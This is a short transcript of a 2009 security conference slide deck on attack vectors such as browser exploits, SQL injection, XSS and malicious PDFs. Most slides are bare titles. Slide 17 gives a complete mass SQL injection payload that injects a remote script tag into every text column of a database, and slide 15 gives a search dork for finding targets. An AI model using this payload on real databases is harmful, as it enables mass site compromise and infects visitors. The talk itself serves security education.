As 2009 comes to a close, we look back on the bugs of our days. The past few months have seen some interesting attacks. This talk takes a look at some of the most effective attack vectors of 2009. These, coupled with classic web hacking, social engineering and a bit of cleverness, increase the attack surface manifold. This year, my work goes beyond just browsers and looks at examples of mass ownage, new infection vectors, advanced client-side exploitation, malicious payloads, browser infection with toolbars and more.

1. How to own the world,one desktop at a time Saumil Shah, Net-Square Hack in the Box Kuala Lumpur 2009

2. # who am i Saumil Shah, CEO Net-square LinkedIn: saumilshah

3. I'M IN UR BASE KILLIN UR D00DZ

5. "The amount of intelligence in the world stays constant and the population increases."

6. The Attack Surface

7. The Attack Surface++

9. Browser Attacks

11. Helping Hands Alexander Sotirov, Mark Dowd - Bypassing Browser Memory Protection

12. Taking your work to the masses SQL Injection XSS

13. The metamorphosis of script src

14. Web Hacking

15. SQL Injection Discovery inurl:".asp" inurl:"a="

16. An example

17. Mass SQL Injection vector declare @m varchar(8000); set @m=''; select @m=@m+'update['+a.name+']set['+b.name+']=rtrim(convert(varchar,'+b.name+'))+''<script src="http://is.gd/31337"></script>'';' from dbo.sysobjects objs, dbo.syscolumns cols, dbo.systypes typs where objs.id=cols.id and objs.xtype='U' and cols.xtype=typs.xtype and typs.name='varchar'; set @m=REVERSE(@m); set @m=substring(@m,PATINDEX('%;%',@m),8000); set @m=REVERSE(@m); exec(@m);

18. Documents

19. Penetration Document FormatTM http://blog.didierstevens.com

20. "Confidence in a connected world"

21. Security by pop-ups

22. kthxbai www.net-square.com secure . automate . innovate